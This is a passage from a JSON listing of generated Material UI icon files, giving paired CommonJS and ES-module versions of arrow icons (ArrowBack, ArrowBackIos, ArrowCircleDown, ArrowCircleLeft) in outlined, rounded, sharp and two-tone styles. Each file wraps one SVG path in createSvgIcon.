    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.88 2.88c-.49-.49-1.28-.49-1.77 0L6.7 11.29c-.39.39-.39 1.02 0 1.41l8.41 8.41c.49.49 1.28.49 1.77 0s.49-1.28 0-1.77L9.54 12l7.35-7.35c.48-.49.48-1.28-.01-1.77\"\n}), 'ArrowBackIosNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.88 2.88c-.49-.49-1.28-.49-1.77 0L6.7 11.29c-.39.39-.39 1.02 0 1.41l8.41 8.41c.49.49 1.28.49 1.77 0s.49-1.28 0-1.77L9.54 12l7.35-7.35c.48-.49.48-1.28-.01-1.77\"\n}), 'ArrowBackIosNewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosNewTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.77 3.77 16 2 6 12l10 10 1.77-1.77L9.54 12z\"\n}), 'ArrowBackIosNewTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.51 3.87 15.73 2.1 5.84 12l9.9 9.9 1.77-1.77L9.38 12z\"\n}), 'ArrowBackIosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.51 3.87 15.73 2.1 5.84 12l9.9 9.9 1.77-1.77L9.38 12z\"\n}), 'ArrowBackIosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.62 2.99c-.49-.49-1.28-.49-1.77 0L6.54 11.3c-.39.39-.39 1.02 0 1.41l8.31 8.31c.49.49 1.28.49 1.77 0s.49-1.28 0-1.77L9.38 12l7.25-7.25c.48-.48.48-1.28-.01-1.76\"\n}), 'ArrowBackIosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.62 2.99c-.49-.49-1.28-.49-1.77 0L6.54 11.3c-.39.39-.39 1.02 0 1.41l8.31 8.31c.49.49 1.28.49 1.77 0s.49-1.28 0-1.77L9.38 12l7.25-7.25c.48-.48.48-1.28-.01-1.76\"\n}), 'ArrowBackIosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.51 3.87 15.73 2.1 5.84 12l9.9 9.9 1.77-1.77L9.38 12z\"\n}), 'ArrowBackIosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.51 3.87 15.73 2.1 5.84 12l9.9 9.9 1.77-1.77L9.38 12z\"\n}), 'ArrowBackIosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.51 3.87 15.73 2.1 5.84 12l9.9 9.9 1.77-1.77L9.38 12z\"\n}), 'ArrowBackIosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackIosTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.51 3.87 15.73 2.1 5.84 12l9.9 9.9 1.77-1.77L9.38 12z\"\n}), 'ArrowBackIosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11H7.83l4.88-4.88c.39-.39.39-1.03 0-1.42a.996.996 0 0 0-1.41 0l-6.59 6.59c-.39.39-.39 1.02 0 1.41l6.59 6.59c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L7.83 13H19c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'ArrowBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11H7.83l4.88-4.88c.39-.39.39-1.03 0-1.42a.996.996 0 0 0-1.41 0l-6.59 6.59c-.39.39-.39 1.02 0 1.41l6.59 6.59c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L7.83 13H19c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'ArrowBackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowBackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20z\"\n}), 'ArrowBackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}), 'ArrowCircleDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}), 'ArrowCircleDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}), 'ArrowCircleDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}), 'ArrowCircleDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V9c0-.55-.45-1-1-1s-1 .45-1 1v3H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.35-.85z\"\n}), 'ArrowCircleDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V9c0-.55-.45-1-1-1s-1 .45-1 1v3H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.35-.85z\"\n}), 'ArrowCircleDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}), 'ArrowCircleDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}), 'ArrowCircleDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 12-4-4h3V8h2v4h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}, \"1\")], 'ArrowCircleDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 12-4-4h3V8h2v4h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 10V8h-2v4H8l4 4 4-4z\"\n}, \"1\")], 'ArrowCircleDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-1h4v2h-4v3l-4-4 4-4z\"\n}), 'ArrowCircleLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-1h4v2h-4v3l-4-4 4-4z\"\n}), 'ArrowCircleLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m18 0c0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8 8 3.58 8 8M8 12l4-4 1.41 1.41L11.83 11H16v2h-4.17l1.59 1.59L12 16z\"\n}), 'ArrowCircleLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m18 0c0 4.42-3.58 8-8 8s-8-3.58-8-8 3.58-8 8-8 8 3.58 8 8M8 12l4-4 1.41 1.41L11.83 11H16v2h-4.17l1.59 1.59L12 16z\"\n}), 'ArrowCircleLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-2.79V11h3c.55 0 1 .45 1 1s-.45 1-1 1h-3v1.79c0 .45-.54.67-.85.35l-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.31.85-.09.85.36\"\n}), 'ArrowCircleLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-2.79V11h3c.55 0 1 .45 1 1s-.45 1-1 1h-3v1.79c0 .45-.54.67-.85.35l-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.31.85-.09.85.36\"\n}), 'ArrowCircleLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-1h4v2h-4v3l-4-4 4-4z\"\n}), 'ArrowCircleLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-1h4v2h-4v3l-4-4 4-4z\"\n}), 'ArrowCircleLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0 4.41-3.59 8-8 8s-8-3.59-8-8 3.59-8 8-8 8 3.59 8 8m-8 1h4v-2h-4V8l-4 4 4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0 4.41-3.59 8-8 8s-8-3.59-8-8 3.59-8 8-8 8 3.59 8 8m2 0c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 1h4v-2h-4V8l-4 4 4 4z\"\n}, \"1\")], 'ArrowCircleLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0 4.41-3.59 8-8 8s-8-3.59-8-8 3.59-8 8-8 8 3.59 8 8m-8 1h4v-2h-4V8l-4 4 4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0 4.41-3.59 8-8 8s-8-3.59-8-8 3.59-8 8-8 8 3.59 8 8m2 0c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 1h4v-2h-4V8l-4 4 4 4z\"\n}, \"1\")], 'ArrowCircleLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRight.js",
